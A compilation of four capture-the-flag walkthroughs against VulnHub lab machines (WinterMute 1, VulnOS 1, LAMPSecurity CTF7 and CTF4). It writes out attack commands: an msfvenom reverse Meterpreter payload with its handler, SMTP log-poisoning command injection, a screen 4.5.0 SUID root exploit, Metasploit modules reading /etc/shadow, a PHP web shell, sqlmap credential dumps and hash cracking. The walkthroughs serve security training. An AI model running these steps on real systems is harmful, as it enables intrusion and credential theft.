Hack the WinterMute: 1 (CTF Challenge)


Hello friends! Today we are going to take another CTF challenge known as Wintermute (Part 1) and it is another boot2root challenge provided for practice. So let’s try to break through it. But before please note that you can download it from here https://www.vulnhub.com/entry/wintermute-1,239/
Security Level: Intermediate
Author Note: There are 2 important things to note down for this lab
1. No buffer overflows or exploit development - any necessary password cracking can be done with small wordlists.
2. Straylight - simulates a public facing server with 2 NICS. Cap this first, then pivot to the final machine. Neuromancer - is within a non-public network with 1 NIC.
Imp Note: This lab has 2 parts. The 1st part comprises of gaining the root shell of the victim machine and subsequently pivoting to another machine .To begin with , this is the 1st part of the lab ; post which we will publish the 2nd lab in upcoming days
Penetrating Methodologies
  • Network Scanning (Nmap, netdiscover)
  • HTTP service enumeration
  • Directory Traversal in browser using Email log files
  • Exploiting OS command injection in RCPT option of SMTP
  • Generate PHP Backdoor (Msfvenom)
  • Execute the backdoor embedded in RCPT option
  • Reverse connection (Metasploit)
  • Import python one-liner for proper TTY shell
  • Identify the appropriate vulnerable SUID
  • Exploiting target (exploit 4115)
  • Get root access and capture the flag
WalkThrough
Let’s start off with scanning the network to find our target.
We found our target –> 192.168.1.124

Our next step is to scan our target with NMAP.
nmap -p-  -A 192.168.1.124
The NMAP output shows us that there are 3 ports opened : 25 (SMTP) , 80 (HTTP) , 3000
Browsed the URL http://192.168.1.124 and poked around; however we were not able to get any significant clues to move forward   
As we are aware that port 3000 is also opened on the victim machine , hence let’s try to access the website on a Non-standard HTTP port (3000) as follows :
Browse to http://192.168.1.124:3000 and we will be greeted with the following page
As we can see a Hint at the bottom of the page , the default username and credentials are already provided to us ! Lets try to login to the page with them

Username: admin
Password : admin
On clicking the Flows option, we were redirected to the following page:
Here we observed few directories were listed (as shown in screenshot above), hence we thought of appending them to our URL http://192.168.1.124/ OR http://192.168.1.124:3000/
We tried accessing http://192.168.1.124:3000/turing-bolo/ however no success . Then we browsed the URL http://192.168.1.124/turing-bolo/ and got below page

Click on Submit Query and we are redirected to the following page

From the above screenshot we can see few log files (as highlighted).Per our experience , this could be an indication of Directory traversal where we can execute writeable files in the browser .Hence let’s try to append  ../../../log/mail to the URL in the browser as follows :

Now let’s try to enumerate further and connect to the SMTP (25) port
telnet 192.168.1.124 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and send the OS commands via “RCPT TO” option.
Note : The commands in the bold font are end-user input and the server response is shown as normal text
MAIL FROM:
220 straylight ESMTP Postfix (Debian/GNU)
250 2.1.0 Ok
RCPT TO:
501 5.1.3 Bad recipient address syntax

Note : We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.


As depicted in the below screenshot of the browser , we can clearly see that mail logs files are displaying response output (www-data) of the Unix (OS) command whoami
Let’s generate a Reverse shell with the following command
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf  > shell.elf
Now run the web server on the Kali machine

python –m SimpleHTTPServer 80

As we got success in receiving the response of OS commands in the email log files, in a similar way there is a possibility that following this method ,we may also get the Meterpreter access of the victim machine

Hence as seen in the below screenshot , we will pass the commands in RCPT command as follows :

1.Navigate to /tmp directory and Download the shell.elf file from Kali machine
2.Modify the permissions of the shell.elf file
3.Execute our Reverse shell (shell.elf) file

RCPT TO:
501 5.1.3 Bad recipient address syntax
RCPT TO:
501 5.1.3 Bad recipient address syntax
RCPT TO:
501 5.1.3 Bad recipient address syntax
421 4.4.2 straylight Error: timeout exceeded
Connection closed by foreign host.

Now in parallel, open the Metasploit console and perform the following

msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

Awesome!! We got the Meterpreter session

Using sysinfo command ,we found machine architecture details which may eventually help us to find out the kernel exploit for privilege escalation
sysinfo
Further, navigate to shell

shell

In order to access proper TTY shell , we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'

Now let’s trigger the post exploitation and try to get root access. Then by using the following command we can enumerate all binaries having SUID permission.

find / -perm -4000 2>/dev/null
Per the above output , it has dumped all system binaries having SUID permissions; however /bin/screen-4.5.0 seems to be interesting .Therefore first let us begin escalating the root privileges

Upon searching exploit in kalilinux for the screen-4.5.0 exploit,
searchsploit screen 4.5.0
From given below image we can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.

When we didn’t find any appropriate method to execute this shell script for post exploitation, then we approached the manual compilation method and reviewed its code using cat command.

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

If you will notice following code , then you will observe this script is written in C language and we have divided it into three parts for manual compilation.

1. Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
2. Copy Orange highlighted the code and past it in a text document and save it as rootshell.c

3.Copy the remaining code in a notepad , to paste it for the later part of the section (Compilation of C Program files)
From given below image you can see I have pasted above copied inside the file rootshell.c
From given below image you can see I have pasted above copied inside the file libhax.c
We will save the libhax.c and rootshell.c files in the Kali Desktop shell directory for further use .Here we can see the contents of both the files in the below image
Now go back to the Meterpreter session and upload the exploit files from Kali machine Meterpreter session to the /tmp directory of the target (victim) machine.
upload libhax.c /tmp
upload rootshell.c /tmp

Further, navigate to shell

shell

In order to access proper TTY shell , we had imported python one line script by typing following:

python -c 'import pty;pty.spawn("/bin/bash")'

Compilation of C Program files

Note : Refer to website https://www.exploit-db.com/exploits/41154 for the below commands

Let’s compile our C program file manually in our local system using gcc as given below.

1.Compile libhax.c file through the following command.

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

2.Similarly compile rootshell.c file through the following command.

gcc -o /tmp/rootshell /tmp/rootshell.c
Navigate to /etc directory and run the commands further

cd /etc
unmask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen –ls

Proceed forward and access the /tmp/rootshell folder of the victim machine by typing :

/tmp/rootshell
Hurray !! We got into the root
Navigate to the root directory
cd /root
Let’s see what file it contains

ls
cat flag.txt
Wonderful!! We have gained access to the flag and hacked this box.
There seems to be another interesting file note.txt, lets open the same and see what it contains
cat note.txt
As we can see there is a clue (vulnerability) for the next part (part 2) of this lab
Stay tuned!! We will be back with the next part in another article!

Hack the VulnOS: 1 (CTF Challenge)


Hello friends! Today we are going to take another CTF challenge known as VulnOS 1 presented by the c4b3rw0lf. It is another Capture the Flag challenge provided for practice and its security level is for the beginners. You can download this VM from here.
Now let’s try to break through it.
Penetrating Methodologies
·         Network Scanning (Nmap, netdiscover)
·         Surfing HTTP service port (80)
·         Exploiting the distccd vulnerability to get files
·         Login into target machine via SSH
·         Exploiting target with SUDO rights
·         Get the Root access and the flag
Let’s Breach!
Start off with finding the target using:
netdiscover




Our Target is 192.168.1.135, now we will scan the target for open ports and running services using nmap.
nmap -sV -p- 192.168.1.135




From the nmap result we can see that there are a lot of services currently running on the Target VM, Port 80, 8080 and 10000 are available for HTTP. This tells us that a HTTP Service is currently running on the Target VM. So, let’s check it out by opening it on our browser. On opening the Target VM IP-Address on the Browser we are greeted with a webpage.




The webpage is welcoming us to VulnOS and giving us statutory waring about not using the OS on a Live Environment. It consists an “next page>” link too. After clicking on it we are told that our goal is to get root on the Target VM.




Back to the nmap scan, we saw that the port 8080 is open too, so we tried to open that on our browser and we get the default Tomcat “It works” page.




After further enumerating the Target VM we get the at the port 1000 is open to and is hosting the MiniServ Webmin Page as shown in the image. As we don’t know the logon credentials. Let’s try something else




Time to further enumerate, on our nmap scan we saw that we have the distcc service running on port 3632 on the Target Machine. So after a little searching over the internet I found this exploit.




Now, let’s try to get the shell on the Target VM using this exploit, so we opened our Metasploit framework and searched for the distcc_exec and then using the ‘use’ keyword we selected the exploit, after that we set the target VM’s IP address as rhost and then we ran the exploit, it gets us a limited shell.
msf> use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec)> set rhost 192.168.1.135
msf exploit(unix/misc/distcc_exec)> run




Now time to enumerate the machine with the shell we obtained, we are going to use ps command along with grep to extract all process that can run with root privileges. We are going to use this command.
ps -aux | grep “root”
As you can see that the webmin can run with root privileges, so we are going to use it to proceed further.




Now we are going to the exploit we found in the Metasploit to retrieve /etc/passwd. So that can we can escalate privilege on the Target Machine as the flag would only be accessible by the root user. This can be done as shown by using the auxiliary admin/webmin/file_disclousre
This exploit requires the IP Address of the Target. We provided it as Rhost.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > run
And we have the /etc/passwd file of the Target but this is only the half of the job, because without the shadow file this file is of no use.




Now we are going to extract the /etc/shadow file using the same exploit by just resetting the rpath to /etc/shadow. This can be done as shown below.
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/shadow
msf auxiliary(admin/webmin/file_disclosure) > run




During our intital enumeration we also found that the target also has ldap installed so lets get this file too as it as it has the logon credentials and the file is only be opened with the root privleges. We are going to use the same auxiliary to download the ldap.secret




You can too extract the ldap.secret as shown below:
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(admin/webmin/file_disclosure) > set rhost 192.168.1.135
msf auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
msf auxiliary(admin/webmin/file_disclosure) > run
As you can see that the file contains the password “canyouhackme”.




Now, it is time to take this challenge to climax. Let’s login via ssh using the credentials info we gathered using the etc/passwd and ldap.secret.
ssh vulnosadmin@192.168.1.135
Password: canyouhackme




We did get a shell but our target is to get the root so let’s further escalate the privilege of the shell using
sudo -l
On performing sudo -l, we observed that vulnosadmin has no restrictions set and has the privilege to run ALL commands with sudo
sudo bash
And this got us to the Root Shell. Now time to locate the flag and bring this Challenge to the End.




We didn’t have to search a lot for the flag, we moved to the Root Directory and we got the hello.txt which serves as the flag.


Hack the LAMPSecurity: CTF 7 (CTF Challenge)


Hello friends! Today we are going to take another CTF challenge known as LAMPSecurity CTF7 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here https://www.vulnhub.com/entry/lampsecurity-ctf7,86/
Penetrating Methodologies
§  Network Scanning (Nmap)
§  Login form SQL injection
§  Upload php web shell
§  Spawn TTY shell (Netcat)
§  Mysql Login
§  Steal MD5 password
§  Crack MD5 hashes (John the ripper)
§  SSH login
§  Sudo privilege escalation
§  Get root access

Walkthrough
We found our target –> 192.168.1.127
Our next step is to scan our target with NMAP.
nmap -Pn -sV 192.168.1.127




As we can observe there are so many ports are open but here three ports 80, 8080 and 10000 are available for HTTP. When we navigated to the URL http://192.168.1.127 and we were greeted with a Welcome page 




On exploring port 8080 we found a login page for admin account.




As we don’t know the login credential, so I tried SQL injection both text filed for username and password.




Boomm!! Here we got admin dashboard access, let’s explore more.




We can add new reading content for reader, click on the Add new tab to edit your content for reading.




Then we have uploaded php web shell present at /usr/share/webshells/php in order to compromise the web application. In background we have lunched netcat listener 1234 to access TTY shell of the victim’s VM.s



Since I don’t know the directory where our uploaded file is stored therefore, I run dirb for enumerating web directories.
dirb http://192.168.1.127



When I navigate for the directory /assets, here I got my uploaded web shell. As we knew, netcat is ready to catch the victim’s shell as soon as we will execute our php file.




Great!! We got the netcat session, now enter below command to obtain proper terminal of the target machine.
python -c "import pty; pty.spawn('/bin/bash')"
As we have enumerated above, the mysql is running then with the default credential user: root and password: blank we login successfully into mysql database.
mysql -u root
show databases;




show tables;
select username,password from users;
Hence from inside user tables we have found all MD5 hashes of password.




I saved all hashes into a text file named hashes and use john the ripper for cracking password.
john -w=/usr/share/wordlists/rockyou.txt -form=raw -md5 hashes
Awesome, it work and got decrypted password, now let’s try madrid for user: brain for ssh login.




So when tried brain: madrid for ssh login, we login successfully, then we check sudo right for him. Luckily found brain is the part of sudo member and able to perform root level task. To access root privilege to complete the challenge run following command.
ssh brain@192.168.1.127
sudo -l
sudo su
Yuppie!! We finished this challenge.


Hack the LAMPSecurity: CTF4 (CTF Challenge)


Hello friends! Today we are going to take another CTF challenge known as LAMPSecurity CTF4 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here https://www.vulnhub.com/entry/lampsecurity-ctf4,83/
Penetrating Methodologies
  • Network Scanning (Nmap, netdiscover)
  • Surfing HTTP service port (80)
  • SQLMAP Scanning
  • Extract databases and user credentials
  • Login into target machine via SSH
  • Exploiting target with SUDO binaries
  • Get the Root access
WalkThrough
Let’s start off with scanning the network to find our target.


We found our target –> 192.168.1.103
Our next step is to scan our target with NMAP.
nmap -A 192.168.1.103
Result shows us that the ports 80(http), 25 (SMTP) and 22(SSH) are opened

Navigated to the URL http://192.168.1.103 and we were greeted with a Welcome page 
Navigate to the Blog tab and upon further enumeration we found out that the URL parameter ”id” is prone to SQL injection error as reflecting in the below screenshot image.
Lets’ enumerate the databases with SQLMAP command to get more details
sqlmap -u http://192.168.1.103/index.html?page=blog&title=Blog&id=2  --dbs --dump --batch
Upon successful completion of the SQLMAP scan , we got the list of all databases!! Now we tried using ehks database, with the following command to extract other details
sqlmap -u http://192.168.1.103/index.html?page=blog&title=Blog&id=2 -D ehks --tables --dump --batch
Upon receiving the tables of all databases, we selected the user table of ehks database and tried extracting some more info with the following command
sqlmap -u http://192.168.1.103/index.html?page=blog&title=Blog&id=2 -D ehks  -T user  --dump
As seen from the above screenshot , we got list of all users’ and their corresponding credentials for the user table of ehks database
Let’s further try to get in with user dstevens and its password (as displayed above) via the SSH .
ssh dstevens@192.168.1.103
Awesome !! So we got the restricted shell which is our first success .Now let’s perform further enumeration and try to escalate privileges.
sudo –l
On performing sudo –l , we observed that the user dstevens has no restrictions set and has the privilege to run all the commands with sudo
sudo su

Hurray!! We got the root access